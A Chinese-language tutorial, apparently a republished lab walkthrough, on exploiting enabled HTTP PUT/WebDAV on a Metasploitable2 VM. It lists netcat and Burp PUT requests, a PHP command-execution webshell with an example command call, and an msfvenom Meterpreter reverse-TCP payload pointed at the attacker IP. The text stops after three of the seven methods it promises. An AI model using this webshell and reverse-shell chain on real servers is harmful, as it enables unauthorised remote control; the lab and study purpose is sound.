當前位置:
首頁 > 新聞 > HTTP PUT方法利用的幾種方式

HTTP PUT方法利用的幾種方式

HTTP PUT方法利用

在本文中,我們將會利用metasploitable2靶機上的HTTP PUT漏洞。通過此漏洞你可以輕而易舉的向伺服器上傳惡意文件,並可以在meterpreter shell中獲得整個伺服器的訪問許可權。

上一篇文章我們講過了如何使用Curl,Nmap和OpenSSL來測試HTTP方法。如果伺服器啟用了HTTP PUT方法,我們就可以利用它來上傳指定的資源到目標伺服器上,比如webshell或者惡意軟體。

基本要求

·Metasploitable2 vm虛擬機--https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

·攻擊者kali VM虛擬機--https://www.kali.org/downloads/

·漏洞路徑--http://192.168.179.142/dav/

·攻擊者IP--192.168.179.141

HEAD,GET,POST,CONNECT,這些方法是完全安全的,至少就HTTP方法本身而言是安全的。當然了,雖然請求本身可能也會有惡意參數,但參數跟方法是分離的,所以通常而言只應該啟用這些方法。

PUT,DELETE這些方法最初是用來進行文件管理的。然而一些web伺服器保留了最初的配置,依然支持這些方法。如此一來,你就可以任意修改或刪除伺服器文件系統中的文件了。

顯然,如果啟用了這些方法,你就容易遭到文件上傳漏洞的攻擊。

另外,如果你有業務需求必須啟用這些方法,那麼應該嚴格限制文件訪問許可權。

OPTIONS方法,這是一個判斷方法,返回消息主要用於調試或者檢查伺服器其他方法是否啟用。

TRACE方法,這個方法比較出乎意料,它是響應體中返回的判斷方法,即整個HTTP請求。這包括請求體,也包括請求頭,比如cookies和認證頭等。

進入正題

識別HTTP伺服器最簡單最基本的形式就是查看HTTP響應頭中色server欄位。可以使用Netcat客戶端發送HTTP請求來獲取伺服器的HTTP響應頭。

Netcat絕對是一個神器,只要是有關TCP和UDP的都能使用Netcat。它可以打開TCP連接,發送UDP數據包,監聽任意的TCP和UDP埠,進行埠掃描等。

在Debain系統上安裝Netcat的命令是 「sudo apt-get install netcat」

使用Netcat來檢測web伺服器上啟用了哪些方法,只要輸入如下命令即可:

nc 192.168.179.142 80

OPTIONS /dav/ HTTP/1.1

Host: 192.168.179.142

按兩次回車!

觀察一下響應頭欄位可以發現啟用了一些危險的方法,比如DELETE,TRACE,PROPFING,COPY,MOVE,LOCK和UNLOCK。

下面我們就來演示一下利用HTTP PUT方法的7種方法。

1.Netcat利用PUT方法

使用Netcat方法十分簡單,輸入下面幾條命令即可:

nc 192.168.179.142 80

PUT /dav/hacked.txt HTTP/1.1

Host: 192.168.179.142

按兩次回車!

可以看到hacked.txt文件已經成功創建,狀態碼是201,文件創建位置為/dav/目錄。

2.BurpSuite利用PUT方法

眾所周知,Burp是一款代理攔截神器,通過抓包,可以分析所有的GET和POST請求。

Burp是專門用來測試web應用的圖形化工具。它是使用Java編寫的,由PortSwigger安全團隊開發。

Burp工具的功能模塊包括Proxy,Scanner,Intruder,Spider,Repeater,Decoder,Comparer,Extender和Sequencer。

首先設置瀏覽器代理,訪問http://192.168.179.142/dav/,抓包攔截請求,然後右擊選擇發送到Repeater模塊。

查看下面的截圖,你會發現左右連個面板,左邊是請求,右邊是響應。

現在我們來替換GET方法為PUT方法,上傳一個yeahhub.php文件,文件里包含的是惡意內容或代碼。

在請求頭中輸入PUT /dav/yeahhub.php HTTP/1.1,這將會通過PUT請求上傳yeahhub.php文件到dav目錄下。

然後在請求體中粘貼一下惡意代碼。

system($_GET[『cmd』]);

?>

在上面的截圖中,可以看到響應狀態碼是201,這就意味著包含惡意代碼的yeahhub.php文件已經成功上傳。

驗證一下,在瀏覽器地址欄中輸入http://192.168.179.142/dav/yeahhub.php?cmd=uname-a,就能看到系統的內核版本。

Nikto掃描HTTP方法

Nikto是另一個開源的web掃描器,它可以對web伺服器進行全面測試,包括6700個潛在的危險文件和程序,檢查超過1250台伺服器的過期版本和270台以上伺服器版本的特定問題。

使用nikto掃描,只需在終端中輸入「nikto -h http://192.168.179.142/dav/」

可以看到,高亮部分顯示了多種HTTP方法是啟用的。

3.Cadaver和Metasploit框架利用PUT方法

現在是時候上傳惡意PHP文件來攻擊伺服器了,惡意文件我們將藉助msfvenom命令來生成。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php

可以看到惡意文件shell.php已經上傳到伺服器當前工作目錄了。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

Android銀行木馬——Red Alert 2.0偽裝成合法程序進行傳播
使用超長文件名讓Windows API崩潰

TAG:嘶吼RoarTalk |